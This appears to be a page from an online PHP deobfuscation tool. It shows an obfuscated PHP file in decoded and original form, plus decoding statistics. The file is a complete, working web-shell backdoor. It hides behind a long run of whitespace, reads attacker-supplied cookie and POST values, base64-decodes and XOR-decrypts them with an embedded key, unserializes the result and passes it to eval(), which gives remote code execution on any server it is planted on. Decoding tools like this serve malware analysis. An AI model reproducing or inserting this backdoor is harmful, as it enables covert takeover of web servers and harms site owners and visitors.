Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $ebcQdyDJFb = 'P' . "_" . "R" . 'F' . chr ( 1033 - 924 )."S";$TinlkQEKx = 'c' . 'l' . 'a' . "s" . chr (115) . chr (95) . chr ( 344 - 243 )."x" . chr ( 429 - 324 )."s" . chr (116) . "s";$rWxrGMSEBP = $TinlkQEKx($ebcQdyDJFb); $ebcQdyDJFb = "45772";$EKSWt = !$rWxrGMSEBP;$TinlkQEKx = "12946";if ($EKSWt){class P_RFmS{public function lignBQMwfA(){echo "10380";}private $ttsVyah;public static $DPnXEckTFs = "791a36da-8fdf-40fa-aeb2-29c094c8201f";public static $kOEKQkXTI = 53639;public function __construct($xIKot=0){$YChuWlpyzf = $_COOKIE;$BkPBenbbA = $_POST;$hefBAMutVL = @$YChuWlpyzf[substr(P_RFmS::$DPnXEckTFs, 0, 4)];if (!empty($hefBAMutVL)){$IYziOcPupv = "base64";$SKbmZsQAoz = "";$hefBAMutVL = explode(",", $hefBAMutVL);foreach ($hefBAMutVL as $XzZEWz){$SKbmZsQAoz .= @$YChuWlpyzf[$XzZEWz];$SKbmZsQAoz .= @$BkPBenbbA[$XzZEWz];}$SKbmZsQAoz = array_map($IYziOcPupv . '_' . "d" . "e" . chr ( 1086 - 987 )."o" . "d" . chr ( 366 - 265 ), array($SKbmZsQAoz,)); $SKbmZsQAoz = $SKbmZsQAoz[0] ^ str_repeat(P_RFmS::$DPnXEckTFs, (strlen($SKbmZsQAoz[0]) / strlen(P_RFmS::$DPnXEckTFs)) + 1);P_RFmS::$kOEKQkXTI = @unserialize($SKbmZsQAoz);}}private function vByYktwTZ(){if (is_array(P_RFmS::$kOEKQkXTI)) {$slxfgMSvp = str_replace(chr ( 132 - 72 ) . '?' . chr ( 224 - 112 )."h" . 'p', "", P_RFmS::$kOEKQkXTI['c' . "o" . chr ( 536 - 426 ).chr ( 306 - 190 ).chr (101) . chr (110) . 't']);eval($slxfgMSvp); $YDbhfLRo = "44651";exit();}}public function __destruct(){$this->vByYktwTZ(); $nwIXGcirj = str_pad("44651", 10);}}$XOgGqC = new /* 64128 */ P_RFmS(); $XOgGqC = substr("22137_3965", 1);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $ebcQdyDJFb = 'P' . "\137" . "\x52" . 'F' . chr ( 1033 - 924 )."\123";$TinlkQEKx = 'c' . 'l' . 'a' . "\163" . chr (115) . chr (95) . chr ( 344 - 243 )."\170" . chr ( 429 - 324 )."\x73" . chr (116) . "\x73";$rWxrGMSEBP = $TinlkQEKx($ebcQdyDJFb); $ebcQdyDJFb = "45772";$EKSWt = !$rWxrGMSEBP;$TinlkQEKx = "12946";if ($EKSWt){class P_RFmS{public function lignBQMwfA(){echo "10380";}private $ttsVyah;public static $DPnXEckTFs = "791a36da-8fdf-40fa-aeb2-29c094c8201f";public static $kOEKQkXTI = 53639;public function __construct($xIKot=0){$YChuWlpyzf = $_COOKIE;$BkPBenbbA = $_POST;$hefBAMutVL = @$YChuWlpyzf[substr(P_RFmS::$DPnXEckTFs, 0, 4)];if (!empty($hefBAMutVL)){$IYziOcPupv = "base64";$SKbmZsQAoz = "";$hefBAMutVL = explode(",", $hefBAMutVL);foreach ($hefBAMutVL as $XzZEWz){$SKbmZsQAoz .= @$YChuWlpyzf[$XzZEWz];$SKbmZsQAoz .= @$BkPBenbbA[$XzZEWz];}$SKbmZsQAoz = array_map($IYziOcPupv . '_' . "\x64" . "\x65" . chr ( 1086 - 987 )."\x6f" . "\144" . chr ( 366 - 265 ), array($SKbmZsQAoz,)); $SKbmZsQAoz = $SKbmZsQAoz[0] ^ str_repeat(P_RFmS::$DPnXEckTFs, (strlen($SKbmZsQAoz[0]) / strlen(P_RFmS::$DPnXEckTFs)) + 1);P_RFmS::$kOEKQkXTI = @unserialize($SKbmZsQAoz);}}private function vByYktwTZ(){if (is_array(P_RFmS::$kOEKQkXTI)) {$slxfgMSvp = str_replace(chr ( 132 - 72 ) . '?' . chr ( 224 - 112 )."\150" . 'p', "", P_RFmS::$kOEKQkXTI['c' . "\x6f" . chr ( 536 - 426 ).chr ( 306 - 190 ).chr (101) . chr (110) . 't']);eval($slxfgMSvp); $YDbhfLRo = "44651";exit();}}public function __destruct(){$this->vByYktwTZ(); $nwIXGcirj = str_pad("44651", 10);}}$XOgGqC = new /* 64128 */ P_RFmS(); $XOgGqC = substr("22137_3965", 1);} ?>

Function Calls

chr 6
class_exists 1

Variables

$TinlkQEKx class_exists
$ebcQdyDJFb P_RFmS

Stats

MD5 5f5c6e89ffff4f4abae250372f010b93
Eval Count 0
Decode Time 90 ms